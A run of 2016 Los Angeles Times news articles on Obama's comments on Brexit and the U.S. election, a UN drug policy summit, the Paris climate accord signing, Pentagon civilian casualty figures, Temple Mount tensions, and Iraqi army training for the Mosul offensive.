NEWSLETTER: Get the days top headlines from Times Editor Davan Maharaj >>

Nile Gardiner, director of the conservative Heritage Foundations Margaret Thatcher Center for Freedom, said he expected Obamas decision to wade in with such gusto would backfire on Cameron and others who hope to sway voters toward the remain side in the coming weeks. He said there was a greater passion among anti-EU voters that Obama might only exacerbate.

Its a big strategic error of judgment for the U.S. president to be weighing in in this debate, he said. His message is deeply out of touch with what a lot of British people think on this.

Obama was asked about such criticism of his involvement, which a reporter noted was being made with various degrees of politeness.

While he insisted he understood that it was a decision for British voters to ultimately make themselves, he noted that since British politicians had raised hypothetical American reactions to a Brexit to bolster their case, it was only fair for him to comment himself.

I am not coming here to fix any votes, he said. I am not casting a vote myself. I am offering my opinion. And in democracies, everybody should want more information, not less.

It was inevitable, he argued, that a British decision to back out of the EU would move the nation to the back of the queue in negotiating any potential trade agreements, for instance.

Cameron, for whom the referendum has represented something of a political gamble, seemed to have no reservations about bringing in a prominent surrogate to help make his case.

Well make the decision. Well listen to all the arguments, he said. But listening to our friends, listening to countries that wish us well, is part of the process and is a good thing to do.

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The American presidency is often called the most powerful job in the world. And perhaps in this election, more than most, many outside the U.S. would like a say in its outcome.

Concern about Donald Trumps campaign rhetoric, and its apparent resonance among large swaths of the American public, has become a regular feature of President Obamas interactions with foreign counterparts and appears likely to trail him as he began something of a farewell tour of Europe on Friday.

Its fascinating the degree to which the single most important question Im asked these days from other world leaders is, Whats going on with your elections?  Obama told interviewer Charlie Rose this week, calling the drama of the Republican race the tip of a broader iceberg of dysfunction that weve seen.

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White House aides at times seem weary of questions about the extent to which the campaign is figuring in to Obamas conversations with foreign leaders. But Obama and Vice President Joe Biden often have acknowledged the frequency of the inquiries, sometimes in jest. Toasting Prime Minister Justin Trudeau at a state dinner, he credited Canadians who have, so far, rejected the idea of building a wall to keep out your southern neighbors.

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A more immediate campaign has dominated voters attention here  the June referendum over whether the United Kingdom should remain part of the European Union  but U.S. politics are also front of mind. After the New York primary this week, the anchor of the BBCs evening news program dissected the latest delegate counts with the wonky precision of an MSNBC correspondent, albeit in a tailored suit rather than professorial sweater.

At a news conference here Friday after Obama met with Prime Minister David Cameron, an American reporter asked Cameron whether he might want to advise American voters what to do when it comes to Trump.

That was so predictable! Obama admonished. Cameron deflected the question but acknowledged he has commented before. In December, after Trump called for a ban on Muslim immigration to the U.S., Cameron said his remarks were divisive, stupid and wrong.

The uproar over Trumps proposed immigration ban was but one that attracted notice beyond U.S. borders. Foreign diplomats have been spotted on the campaign trail, scouting out early primary states and attending debates and campaigns to document other potential thorny policy pronouncements for dispatches back home.

Europeans watch and analyze America politics extremely closely, said Heather Conley, director of the Europe Program at the Center for Strategic and International Studies. I think their evolution in our presidential election has been, What is this? This will settle down, to, Oh, dear God, what is happening? 

The British Parliament debated over whether to allow Trump to enter the country, Conley noted. A December survey conducted by Ipsos-MORI found that 74% of British adults had an unfavorable view of the billionaire. Fifty-six percent viewed Hillary Clinton favorably.

Clinton, a former secretary of State, said last month that the concern among foreign leaders over a Trump presidency was so pronounced that some had asked her whether it would help if they publicly endorsed her.

I am like, No, this is up to Americans, thank you very much,  she said at an Ohio town hall.

As much as any particular issue, Obama has focused on U.S. foreign policy most when discussing the stakes of the election.

In February, after hosting a summit of southeast Asian leaders at Sunnylands in California, Obama focused on his role as commander-in-chief in explaining why he was confident Trump could not win.

The job requires someone who has the nuclear launch codes and is often responsible for not just the United States of America but 20 other countries that are having big problems or falling apart, he said in explaining why he was confident Trump could not win.

The American people are pretty sensible, and I think theyll make a sensible choice in the end, he said.

For Obama, sharing the curiosity and concern of foreign leaders over the state of the campaign could be a useful political device for a president who would prefer a fellow Democrat succeed him. And Clinton, as Obamas former chief diplomat, could benefit if the country ultimately views his foreign policy legacy favorably enough to vote for her to continue a version of it.

But the uncertainty over what course his successor might take also could have immediate consequences for Obamas ability to conduct foreign policy.

It could worsen his odds of gaining new commitments for any long-term strategies to target Islamic State, for instance, said James Carafano, vice president of foreign and defense policy studies for the conservative Heritage Foundation.

Theres a lot of uncertainty in the region about, What next? What next from President Trump, what next from President Cruz, what next from President Clinton? he said. Theres a reluctance for people to sign up for something on a campaign that may last the next couple of months with no clear picture of whats going to happen after that.

Twitter: @mikememoli

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11:58 a.m.: This story was updated with comments from British Prime Minister David Cameron.

This story was originally published at 7:27 a.m.
Advocates for drug reform, who were hoping that a high-level summit this week might lead to a turnaround of decades-old global drug policies that many consider failed steps in the war on drugs, left the meeting disappointed.

The document adopted at the United Nations General Assembly Special Session on the World Drug Problem that ended Thursday in New York failed to address serious flaws in international regulations, activists said.

The document does not acknowledge the comprehensive failure of the current drug control regime to reduce drug supply and demand, the Global Commission on Drug Policy said in a statement. Nor does [it] account for the damaging effects of outdated policies on violence and corruption as well as on population health, human rights and well-being.

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Afghan farmers harvest opium sap from a poppy field in Kandahar provinces Zari district. (Jawed Tanveer / AFP/Getty Images)

Many reformists, health specialists and government leaders were hoping the summit would chart a new course toward ending drug-related incarcerations, treating drug abuse as a health issue rather than a crime and even legalizing drugs.

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FOR THE RECORD

6:47 a.m.: A previous version of this article contained a purported statement from the United Nations Office on Drugs and Crime. That statement was based on a fraudulent news release, and it has been removed.

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But the outcome document largely adheres to the current norms and fails to reflect the splintered global attitudes on drugs, activists said. Jamaica, for example, defended its position of allowing its citizens to possess small amounts of marijuana without penalty. Mexico announced that it would propose a partial decriminalization of cannabis use, such as allowing it for medical and scientific purpose, while Canada announced that it would move toward legalizing pot next year.

Countries that voiced opposition to relaxing stringent drug war laws included Russia, China, Indonesia, Saudi Arabia, and Iran, where drug possession can lead to execution.

Michael Botticelli, director of the White House Office of National Drug Control Policy, outlined the Obama administrations preference to focus on criminal organizations in the war on drugs and provide treatment and recovery support services to people with substance issues.

Rep. Earl Blumenauer (D-Ore.), a leading advocate for reforming marijuana laws who attended the summit as as a congressional observer, expressed disappointment that the U.S. did not use the event to be more of a voice on reform.

Mr. Botticellis statements on behalf of the United States were right in acknowledging the importance of a public health approach, but he didnt go far enough to embrace a true change of direction by the United States, Blumenauer said in written remarks. Our goal should be to put an end to mindless military action and hard-edged policies that have proven to fail. We need to replace them with policies focused on harm reduction and effective regulation as tools.

Kevin Sabet, a former Obama administration senior advisor for drug policy and president of Smart Approaches to Marijuana, attended the summit as part of a delegation representing more than 300 organizations under the banner Prevent Dont Promote. They call for science-based marijuana education and awareness and favor a more measured approach to allowing use of the substance.

We agree that reforms of criminal justice need to be made and absolutely the principle of human rights needs to be upheld, but we think legalizing drugs would not only be an utter public health disaster but  antithetical to a human rights agenda, in particular the rights of children to grow up drug free, Sabet said in an email.

For more news on global sustainability, go to our Global Development Watch page.

And follow me on Twitter: @AMSimmons1
In a striking declaration that the world is finally ready to change its polluted ways, global leaders gathered at the United Nations headquarters here to sign the landmark Paris climate accord, an agreement thats seen as the blueprint for rescuing the planet.

The question is whether the plan will work.

Year after year, decade after decade, the planet has been getting warmer. This March was the warmest in recorded history. Scientists say the future will be filled with food shortages, drought, rising seas and extreme weather if bold action is not taken quickly.

We are in a race against time, said United Nations Secretary-General Ban Ki-moon.

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In all, 175 nations signed the agreement Friday, the first day it could be signed. That is far more than had done so on a single day for any previous global agreement  but it still is also only a step toward the accord becoming international law.

For that to happen, at least 55 countries representing at least 55% of global emissions have to formally join or approve it within their national governments, some by executive action, others through legislative action. That process alone could take into 2017, though U.S. Secretary of State John F. Kerry suggested late Friday that the goal could be within reach this year. The United States plans to join the agreement this year, by executive action.

Even those who helped draft the accord acknowledge that its terms do not meet the goal it outlines to hold the increase in global temperatures to well below 2 degrees Celsius, or 3.6 degrees Fahrenheit, above pre-Industrial Revolution levels. Experts said the current agreement would hold the average temperature increase to perhaps just below 3 degrees Celsius.

But nearly a quarter of a century after international efforts to address climate change began, world leaders say this time, finally, momentum has shifted, and nations can confidently invest not in fossil fuels that create greenhouse gases but in clean, renewable energy  and still be assured that their economies will grow. Coal companies in the United States are going bankrupt. Access to lower-cost solar and wind power is increasing worldwide.

The accord, adopted by more than 190 nations who met outside Paris in December, relies on individual countries to set goals for reducing emissions and to regularly revise those goals upward every five years to reach global peaking of greenhouse gas emissions as soon as possible.

A melting iceberg on the western Antarctic peninsula. (Eitan Abramovich / AFP/Getty Images)

The United States, which has committed to reducing its greenhouse gas emissions by 26% to 28% below its 2005 level in 2025, is among the countries that probably will have to revise its goals upward. Complicating matters, in February the Supreme Court issued a temporary stay to the Obama administrations plan to reduce emissions from power plants.

Kerry told the U.N. on Friday that it misses the point to focus on the fact that the accord does not guarantee to hold temperature rise to below 2 degrees, or a stronger goal that many groups support of 1.5 degrees.

The power of this agreement is the opportunity that it creates, he said. The power is the message that it sends to the marketplace. It is the unmistakable signal that innovation, entrepreneurial activity, the allocation of capital, the decisions that governments make, all of this is what we now know definitively is what is going to define the new energy future.

On Friday, some countries vowed to exceed goals they outlined just a few months ago for reducing their emissions. China, the worlds largest emitter of greenhouse gases, said it intends to formally approve the agreement before it hosts the Group of 20 summit representing the worlds largest economies in September. China also reiterated its plans to establish a so-called cap-and-trade market that would put limits on how much carbon emissions industries can burn.

The Chinese people honor their commitments, Zhang Gaoli, the vice premier, told the U.N. We will work hard to earnestly implement the Paris agreement.

As Zhang left the podium, Ban, the secretary-general, said, Thats great news.

Prime Minister Justin Trudeau of Canada, the Wests new face of progressivism, prompted applause when he said his country would give money to help developing nations fight climate change and invest in clean energy  a crucial issue in negotiations leading to the agreement.

They shouldnt be punished for a problem they didnt create, he said.

The ceremony was held on Earth Day, an event started in 1970. Children filled the aisles of the U.N. and a brass ensemble from Juilliard played. Kerry signed the agreement while holding his granddaughter in his other arm. Leonardo DiCaprio addressed the delegates, quoting Abraham Lincoln, and a young woman from Chad described a once vast but now vanishing lake on which her country depends.

True climate justice is renewable energy for all, she said.

Leonardo DiCaprio stands with children at the United Nations signing ceremony for the Paris agreement on climate change. (Spencer Platt / Associated Press)

Outside the United Nations, protesters said the accord falls far short of the action needed. About two dozen pretended to die, memorializing themselves with cardboard tombstones saying R.I.P. Civilization and Killed by State Failure.

But the accord was largely welcomed by conservation groups, and many said the large turnout of nations on the initial signing day was another important indicator that the problem was being taken seriously. The challenge, many said, will be to constantly press leaders to do more.

Alden Meyer, director of strategy and policy at the Union of Concerned Scientists, said major industrial nations at upcoming meetings should phase out fossil fuel subsidies, shift investments away from high-carbon infrastructure like coal, and do more to help vulnerable communities deal with the mounting impacts of climate change.

Tom Steyer, the billionaire environmental activist and philanthropist, praised the accord as a moment of optimism as businesses, governments and citizens join together to chart a new course for our planet. But he noted the increasing effects climate change is already having as motive enough to push for more ambitious action.

Mother Nature, he said, has no plans to slow down.

Next month, activists organized by 350.org plan demonstrations around the world against projects that produce and transport fossil fuels. Among the events planned is a march in downtown Los Angeles on May 14 to protest the citys urban oil fields.

Yardley is a Times staff writer. Haller is a special correspondent.

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Nine U.S. airstrikes have likely resulted in the deaths of 20 civilians and injuries to 11 others in Iraq and Syria since last fall, the Pentagon announced Friday.

The figure brings to 41 the Pentagons total official civilian death toll from U.S. airstrikes since the Obama administration launched its air war against Islamic State nearly two years ago.

That tally is far lower than independent monitors have blamed on errant bombs or poor targeting. Human rights and humanitarian aid groups insist that the Pentagon has vastly underestimated the number of civilians killed or wounded.

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We deeply regret the unintentional loss of life and injuries resulting from those strikes and express our deepest sympathies to the victims families and those affected, U.S. Central Command, which oversees military operations in the Middle East, said in a statement.

The military is investigating 23 other allegations of civilian deaths in Iraq and Syria, officials said.

Human rights and humanitarian aid groups estimate that several hundred civilians have been killed or wounded in the more than 11,750 airstrikes launched by the U.S. and its allies since August 2014.

Airwars.org, a nonprofit group that relies on social media and eyewitness accounts, estimates that coalition airstrikes have killed at least 1,000 civilians so far.

The release came as President Obama offered a grim update on the conflict in Syria.

At a news conference in London with Prime Minister David Cameron, Obama said hes not sure the shaky cessation of hostilities is sustainable, but said he sees no other way to resolve the countrys bitter civil war.

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We have looked at all options, he said. None of them are great. And so we are going to play this option out. If in fact the cessation falls apart, we will try to put it back together again even as we continue to go after Islamic State.

Obama said he and Cameron had agreed to continue to prosecute the war against Islamic State and will continue to support those willing to fight the extremist group.

Central Command did not release its investigation of civilian casualties. It instead summarized the findings in a news release that did not identify any of the victims, and provided few details.

The military said the airstrikes complied with laws on armed conflict and that all appropriate precautions were taken to prevent civilian casualties.

Military and intelligence personnel are supposed to calculate the blast area and potential risk to civilians before any attack is approved.

They are supposed to determine the size of the missile or bomb, what angle it should hit, and often the time of attack to minimize the risk. U.S. spy satellites and drone aircraft relay live video before and after the bombs hit.

According to the release, two civilians were killed and four injured on Sept. 10, 2015, during an airstrike on an Islamic State checkpoint near Hit, Iraq. It said their vehicle appeared in the target area after weapons were already in flight.

On Oct. 5, eight civilians were killed in an airstrike on a mortar position in Atshanah, Iraq. The release did not say why civilians were there.

NEWSLETTER: Get the days top headlines from Times Editor Davan Maharaj >>

On Nov. 12, an airstrike targeting militants in the Iraqi city of Ramadi killed one civilian. Another was killed on Dec. 10 near Raqqa, Islamic States self-declared capital in Syria.

Five civilians were killed two days later at a suspected militant checkpoint in Ramadi. They appeared in the target area after weapons were already in flight, the release said.

A civilian on a motorcycle was killed on Dec. 24 in Tishreen, Syria, during an attack on a nearby vehicle.

On Jan. 11 of this year, a civilian was killed near Mosul, Iraq, during an attack on a cash distribution station used by the militants. And on Feb. 2, a civilian was killed in Al Ghazili, Syria, during an attack on a vehicle.

Staff writer Christi Parsons contributed from Washington.

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Hes Jewish, shes Muslim, and they may be heading toward a showdown over Jerusalems holiest site
They are activists on rival sides in the struggle for the plaza that is Jerusalems holiest and most contested spot. Madeline Issa calls it Al Aqsa Mosque. Rabbi Yakov Idels calls it the Temple Mount.

Both have been scarred by events at the contested Old City esplanade, but their devotion to the place keeps them coming back. Now, with the onset of the Jewish holiday of Passover, officials worry that religious pilgrims like Issa and Idels could spark a new, religiously inspired conflict in Jerusalem.

Issa is a 23-year-old Islamic activist who had been visiting the Al Aqsa Mosque compound daily before police started banning her last September for harassing Jewish visitors. Now, she brings busloads of Muslim pilgrims to the mosque and risks new arrest by slipping past police incognito just to be at the third holiest site in Islam.

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Last week, short of breath and anxious, she donned a colorful head scarf and large sunglasses as she made her way through a narrow Old City alley toward the Israeli police post at the entrance to the plaza that flanks the gold-domed mosque. She described an almost compulsive need to keep visiting.

I want to enjoy the breeze of Al Aqsa. I want to fill my body with Al Aqsa before they ban me permanently, she said.

Idels is a 46-year-old rabbi who also feels a spiritual pull to the holy site. For him, the plaza is Judaisms holiest spot: the location of the ancient Jewish Temple destroyed 2,000 years ago. A month after Issas ban, Idels watched Israeli police arrest his teenage son for swaying in meditation  a violation of rules that ban non-Muslim visitors from praying at the plaza.

The Temple Mount is a sort of a wound. Its a place where every time you touch it, its sensitive, said Idels, sitting opposite bookshelves lined with traditional texts in his house in the West Bank settlement of Bracha (Hebrew for Blessing). That Temple is supposed to be the place where peace comes from. And today its the opposite. Its the place where fighting erupts.

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As Idels readies to return to the plaza with a tour group for Passover, which begins at sundown Friday, authorities are bracing for the possibility that this year will see a repeat of the fall holiday season, when the religious turf war at the Old City plaza boiled over into clashes, arrests and police restrictions  and ultimately sparked a six-month wave of Palestinian knife attacks that spread from Jerusalem to the West Bank. Though Jerusalem has since calmed, many people see the relative stability as fragile.

Passover is one of three Jewish holidays that used to involve a pilgrimage to the ancient Jewish temple for offerings.

When Israel captured East Jerusalem from Jordan in the 1967 Arab-Israeli war, it left a Jordanian religious organization in charge of the holy sites on the plaza. It also left in place a centuries old Jewish religious ban, accepted by the majority of the rabbinic establishment at the time, on renewing ritual at the plaza or rebuilding the temple.

The ancient Temples retaining wall, known as the Western Wall, was tapped as the main site for Jewish ritual.

But in recent years, a growing group of Israelis like Idels have been lobbying the government to assert more sovereignty and allow prayer on the plaza. After disturbances last year, a series of understandings between Israel and Jordan succeeded in reestablishing stability by keeping provocateurs from the plaza and avoiding age and gender restrictions on Muslim worshipers, according to a report on the plaza by the International Crisis Group.

Muslims still view the very access of many religious Jews on a Jewish holiday as a threat, said International Crisis Group analyst Ofer Zalzberg. They fear that it strengthens the Jewish claims to ownership of the site, and it would crimp Muslims access.

Last week, amid rising tension, Prime Minister Benjamin Netanyahu warned of an effort by extremists to foment riots by spreading lies about Israeli plans to allow Jewish ritual at the plaza and crimp Muslim worship. In a public message to the Palestinians and Jordan, he insisted that Israeli policy hadnt changed. Israeli police will deploy reinforcements in Jerusalem and also ban Israeli politicians from visiting the plaza during the holiday.

The Temple Mount, Al Aqsa Mosque and the Western Wall have been notorious as a focus of religious and nationalist acrimony for decades. In 1929, rumors that Jews were bent on taking control of the mosque sparked rioting that killed hundreds. A visit to the Jerusalem plaza in 2000 by Israeli leader Ariel Sharon, the future prime minister, triggered protests that eventually became the second Palestinian intifada, or uprising.

In recent years, amid the rise in visits of Jewish pilgrims to the plaza, Islamic groups have rallied activists to pray, study and assert their presence. Some of those activists used rocks and fireworks in violent clashes with Israeli police.

Issa, a Palestinian citizen of Israel, said she has answered the call by visiting the site daily and organizing buses of pilgrims from her home village of Kafr Qassem, an Israeli Arab community northeast of Tel Aviv. They say its their Temple Mount, but its for me and other Muslims.

An activist with a branch of the Islamic Movement in Israel, an offshoot of Egypts Muslim Brotherhood, she is known as a murabitat, one of a group of women who go to the holy plaza to both pray and confront religious Jewish visitors, yelling Allahu akbar! -- God is great -- and sometimes even spitting in their direction.

Before the Jewish New Uear holiday last fall, Israel banned murabitat from the plaza. The Islamic Movement in Israel was outlawed. Now, Israeli police easily recognize Issa, in her plain white hijab, and turn her away.

It was very painful, she said, her eyes momentarily welled with tears as she recounted the first time the police blocked her from the plaza last September. It choked me.

Some former Israeli security chiefs blame Jewish activists for the tension and violence at the holy site. Idels, however, contended that the problem lies with activists such as Issa. He said the plaza should be a place of peace and interreligious connection, but that it should also be a place where Jews can come to pray.

Going up to the mount isnt supposed to injure anyone else. Its not to provoke. It comes from a place of the rights we have to this [place], he said. Other Temple Mount activists openly fantasize about razing the Al Aqsa Mosque and the Dome of the Rock Muslim shrine on the plaza and rebuilding the ancient Temple, which Idels acknowledged was impossible.

Among the shelves of religious texts in his modest salon, Idels keeps a signed copy of a book on the Temple Mount by Rabbi Shlomo Goren, a mentor who was one of the first rabbis to argue for a new temple to be built and for Jewish prayer at the plaza  flouting the ban by the rabbinic establishment on Jewish ritual there. Gorens teaching on the Temple Mount was very meaningful in my life, Idels said.

On the eastern side of the plaza, opposite the golden Dome of the Rock, a Muslim shrine  the site of the ancient Jewish Temple  Idels has a spot where he often pauses to meditate, praying for the Jewish people, for peace and for his family. That is where, in October, his teenage son went too far, closing his eyes and swaying.

The police immediately jumped on him and took him away for a half-day, like the lowest criminal. I felt humiliated and helpless, he said. Its a terrible feeling of disgrace to stand in a place that belongs to you, the holiest place, and theres a prayer ban. ... When the Arabs come and claim that our prayer injures them, its their problem.

Issa said shes convinced the tensions in Jerusalem are an excuse to ban Muslim faithful like herself, but she says its impossible for her stay away. Al Aqsa is my soul, and I feel that my death will take place there, she said.

Back in the Old City alleyway, the murabitat put the finishing touches on her disguise, and advanced toward the gate to the holy plaza. The silhouettes of Israeli police guards at the gate were visible just a few hundred feet away.

I dont feel good, she admitted. But God will protect me.

Mitnick is a special correspondent.

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As machine guns rattled Thursday from a nearby firing range, Iraqi recruits at this dusty base outside Baghdad trained on tactics, radios, firing mortars and tanks before a bevy of visiting Pentagon brass.

But off to the side, their trainers, mostly from Spain and Portugal, said the soldiers often show up late for training courses or dont show up at all.

The last group we had here was a complete disaster, said Spanish army Maj. Ignacio Nacho Arias. They would come and go without permission.

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The troubles at this training base reflect broader difficulties in building an Iraqi ground force capable of pushing entrenched Islamic State fighters out of Mosul, the militants self-declared capital in Iraq, a priority for the White House and Iraqi Prime Minister Haider Abadis government.

The Pentagon announced in March 2015 that an Iraqi offensive on the strategic city was all but imminent. But those ambitious plans were repeatedly shelved as Iraqi troops struggled to push the militants out of smaller cities and towns.

1 / 39 Iraqi Shiite fighters patrol around the town of Khalis, in Iraqs Diyala province, after government forces retook the area from the Islamic State groups control. (Ahmad Al-Rubaye / AFP/Getty Images) 2 / 39 A Yazidi fighter protects the Sharaf al-Deen temple shrine, one of the holiest for the Yazidis, a religious minority whom the Islamic State group considers heretics deserving to die, in Sinjar, northern Iraq. (Seivan Selim / Associated Press) 3 / 39 A Free Syrian Army fighter from Shams al-Shamal heads to the front line in Kobani, Syria. Kurdish fighters in Syria have ambitions to become the chief force fighting Islamic State extremists in the country - building on their victory in Kobani to ally with moderate rebels and push the jihadis ever farther. (Jake Simkin / Associated Press) 4 / 39 Shiite volunteers receive martial arts training at a military base in Najaf, southern Iraq. Shiite volunteers have been assisting the Iraqi army as it battles fighters from the group calling itself the Islamic State. (Khider Abbas / EPA) 5 / 39 Iraqi Shiite fighters celebrate on February 2, 2015 in al-Mansuriya, in Iraqs Diyala province, after government forces retook the area from Islamic State groups control. (AHMAD AL-RUBAYE / AFP/Getty Images) 6 / 39 Peshmerga fighters take aim at Islamic State militants near Mosul, Iraq last month. (Anadolu Agency / Getty Images) 7 / 39 A Jordanian child holds a poster of pilot Lt. Moaz Kasasbeh, who was captured by Islamic State militants in Syria and has reportedly been killed. (Nasser Nasser / Associated Press) 8 / 39 Junko Ishido, mother of Kenji Goto, a Japanese hostage held by Islamic State militants, appears at a Tokyo news conference to appeal to Japans prime minister to intervene on her sons behalf. (Shizuo Kambayashi / Associated Press ) 9 / 39 A video purportedly released by Islamic State on Jan. 20 shows Japanese hostages Kenji Goto, left, and Haruna Yukawa with a militant at an undisclosed location. (AFP/Getty Images) 10 / 39 A man comforts the wife of captive Jordanian pilot Lt. Moaz Kasasbeh during a protest in Amman, Jordan, on Wednesday. (Raad Adayleh / Associated Press) 11 / 39 Japanese hostage Kenji Goto holds what appears to be a photo of Jordanian pilot Lt. Moaz Kasasbeh in a YouTube video projected on a big screen TV on Wednesday. The Islamic State hostage has reportedly been beheaded by his captors. (Eugene Hoshiko / Associated Press) 12 / 39 A picture of a slain fighter with the Peoples Protection Units is shown during a celebration the Kurdish victory in Kobani, Syria. (Ilyas Akengin / AFP/Getty Images) 13 / 39 Kurdish fighters take up positions on Nov. 1, 2014, in an attempt to lure Islamic State militants to reveal their location in Kobani, Syria. (Jake Simkin / Associated Press) 14 / 39 Iraqi municipal workers remove debris from the scene of a car bombing in central Baghdad on Nov. 9, one of a string of attacks targeting mainly Shiite areas of the capital that has been linked to ongoing fighting between the government and Islamic State militants. (Ali Abbas / EPA) 15 / 39 A man uses binoculars to watch fighting in the Syrian town of Kobani from a hilltop on the Turkish-Syrian border on Nov. 8. (Vadim Ghirda / Associated Press) 16 / 39 A mourner flashes a victory sign at the funeral of 19-year-old Syrian Kurdish fighter Perwin Mustafa Dihap, who died Nov. 7 of injuries sustained in fighting with Islamic State militants in her home town of Kobani. (Vadim Ghirda / Associated Press) 17 / 39 Shiite Muslim pro-government forces drive near the Iraqi town of Jurf al-Sakhr on Oct. 30, after retaking the area from Islamic State militants (Haidar Hamdani / AFP/Getty Images) 18 / 39 An explosion follows an airstrike in the Syrian town of Kobani on Oct. 28. (Kutluhan Cucel / Getty Images) 19 / 39 Ethnic Kurds in Turkey greet convoys of fighters from Iraq at the Habur border crossing on Oct. 29. The fighters were on their way to join militias defending the Syrian border town of Kobani from the Islamic State group. (Ilyas Akengin / AFP/Getty Images) 20 / 39 An Iraqi Kurdish fighter flashes a victory sign as a convoy arrives at the Habur crossing into Turkey on Oct. 29. The heavily-armed fighters were on their way to join militias defending the Syrian border town of Kobani from Islamic State militants. (Ilyas Akengin / AFP/Getty Images) 21 / 39 Mourners carry the coffin of a Kurdish fighter killed in the battle with Islamic State militants in Kobani, Syria, during a funeral Oct. 21 in Suruc, Turkey, just across the border. (Gokhan Sahin / Getty Images) 22 / 39 Islamic State militants patrol Oct. 23 near a flag they planted in Syria, just across the Turkish border. (Bulent Kilic / AFP/Getty Images) 23 / 39 Kurds in Suruc, Turkey, mourn Oct. 23 at the funerals for three Kurdish fighters who died in Kobani, Syria. (Bulent Kilic / AFP/Getty Images) 24 / 39 A man watches the Syrian town of Kobani through a sniper rifle sight near the Mursitpinar border crossing in Turkey. (Gokhan Sahin / Getty Images) 25 / 39 An explosion from an airstrike rocks a Syrian hill near Kobani on Oct. 23. (Bulent Kilic / AFP/Getty Images) 26 / 39 A U.S.-led coalition aircraft flies over Kobani, Syria. (Gokhan Sahin / Getty Images) 27 / 39 An explosion rocks the Syrian city of Kobani during a reported suicide car bombing by the militant group Islamic State. (Gokhan Sahin / Getty Images) 28 / 39 Tanks from the Turkish armed forces are dispatched to the border with Syria as clashes intensify between ethnic Kurdish fighters and Islamic State militants on Sept. 29. (Carsten Koall / Getty Images) 29 / 39 An antiwar protester holds a placard outside the British Parliament, where lawmakers approved plans to join U.S.-led airstrikes in Iraq on Sept. 26. (Justin Tallis / AFP/Getty Images) 30 / 39 Turkish and Syrian Kurds try to tear down a border fence during protests against the extremist group Islamic State on Sept. 16. Refugees fleeing the militants have flooded into Turkey from Syria. (Bulent Kilic / AFP/Getty Images) 31 / 39 Shiite Muslim volunteers from the Iraqi city of Tal Afar train at a military camp in Karbala on Sept. 25. (Mohammed Sawaf / AFP/ Getty Images) 32 / 39 Syrians check a damaged house, reportedly hit by U.S.-led coalition airstrikes, in the village of Kfar Derian in the western Aleppo province on Sept. 23. (Sami Ali / AFP/Getty Images) 33 / 39 A propaganda video posted on an Islamic State site is said to show recruits marching in an unknown location. ( AFP /Getty Images) 34 / 39 A video posted on an Islamic State site is said to show recruits training at an unknown location. (AFP /Getty Images) 35 / 39 Syrian children hold up debris from a damaged house, reportedly hit by U.S.-led coalition airstrikes, in the village of Kfar Derian in the western Aleppo province. (Sami Ali / AFP/Getty Images) 36 / 39 Lt. Gen. William C. Mayville Jr., director of operations for the Joint Chiefs of Staff, speaks about airstrikes in Syria during a briefing at the Pentagon. (Brendan Smialowski / AFP/Getty Images) 37 / 39 President Obama, accompanied by Secretary of State John F. Kerry, national security advisor Susan Rice, right, and U.S. Ambassador to the U.N. Samantha Power, meets with the representatives of Bahrain, Qatar, Saudi Arabia, Jordan, United Arab Emirates and Iraq, in New York. Obama met with the five Arab nations that participated in strikes against Islamic State targets in Syria. (Pablo Martinez Monsivais / Associated Press) 38 / 39 An Iraqi Kurdish Peshmerga fighter fires at Islamic State militant positions from the top of Mount Zardak, a strategic point about 15 miles east of Mosul. (JM Lopez / AFP/Getty Images) 39 / 39 Kurdish Peshmerga fighters take position near the militant-held city of Zumar in Iraqs Mosul province on Sept. 4. Iraqi security forces, bolstered by thousands of Shiite Muslim militiamen and ethnic Kurdish fighters, have clawed back ground northeast of Baghdad. (Ali Al-Saadi / AFP/Getty Images)

Iraqi forces finally launched their long-delayed assault toward Mosul last month. It quickly stalled.

The sluggish pace has frustrated U.S. commanders and White House officials, who had hoped to recapture the heavily defended northern city and deal a decisive blow to the militants before President Obama leaves office in January.

Obama made it clear this week that he isnt very optimistic.

My expectation is that by the end of the year, we will have created the conditions whereby Mosul will eventually fall, he said Monday in an interview with CBS News.

Were not doing the fighting ourselves, but when we provide training, when we provide special forces who are backing them up, when we are gaining intelligence  what weve seen is we can continually tighten the noose, he added.

As part of the push, the Marines deployed about 200 troops and four 155-millimeter howitzer cannons on March 17 to a newly created outpost called Firebase Bell near Makhmour, where U.S. advisors are training Iraqi troops for the assault on Mosul.

Two days later, Islamic State forces fired Katyusha rockets at the firebase. One landed in the compound and killed Staff Sgt. Louis Cardin, a 27-year-old field artilleryman from Temecula, Calif., and wounded eight other Marines.

Pentagon officials did not disclose establishing the forward artillery base until they announced Cardins death. The Pentagon later released photos showing the Marines firing the field artillery at what it said were Islamic State infiltration routes.

Visiting Baghdad this week, Defense Secretary Ashton Carter announced that the Pentagon would send 217 more military advisors to Iraq and allow them to accompany Iraqi troops at the battalion level, and thus far closer to the front lines, instead of mostly being confined to Iraqi division headquarters.

That boosts the official total to 4,087 U.S. troops in Iraq. But that tally doesnt include commandos and what the military is calling temporary deployments. U.S. officials say more than 5,000 U.S. military personnel are in Iraq.

Carter also said the Pentagon would increase its logistical support for the Iraqi military and would deploy several Apache attack helicopters, which are designed for close air support, as well as long-range artillery to aid in the fight.

In addition, the U.S. would provide $417 million to the Kurdish regional government in northern Iraq, he said. Most of the money is intended to pay Kurdish militiamen who have been key allies against Islamic State but who dont always get paid.

Iraqi leaders appear daunted by the prospect of assaulting a major urban center, according to U.S. officials, and for good reason. Several thousand militants are said to be defending the city and have set hundreds of booby traps in houses and streets.

We anticipate they [Islamic State] will fight it out to the death, said a U.S. counter-terrorism official in Washington who spoke on condition of anonymity in discussing internal assessments. If you are the Iraqi army, you have to face that.

Abadis fragile government in Baghdad has struggled to rebuild its army since entire divisions fled before the insurgent onslaught in 2014. A defeat at Mosul would undermine government authority and shift momentum back to Islamic State.

Although the militants remain capable of launching offensives, U.S. planners believe the battle has shifted against Islamic State in recent months.

Under attack by Iraqi troops backed by coalition airstrikes, the militants were forced out of Ramadi, west of Baghdad, from Hit, a provincial capital northwest of Ramadi, and key positions near Sinjar in northern Iraq. A U.S. special operations task force is conducting raids against the groups leaders.

Leading any assault on Mosul will be Iraqi troops trained here at Besmaya and at several other bases. Many apparently have little or no previous training and lack sufficient weapons and ammunition.

On Thursday, Iraqi soldiers took turns operating two aging Russian tanks on the Romeo 2 firing range. One after another, they clambered aboard the Soviet-era T-72s and aimed at a target a few hundred yards away.

The cannons stayed silent, however, because the trainees had not been issued any ammunition.

The most important thing for training is tank rounds and we dont have it, complained Maj. Mohammed Abdul Kareem Kadim, an officer with Iraqs 9th armored division. How can we train? We need the Iraqi government to bring equipment to us.

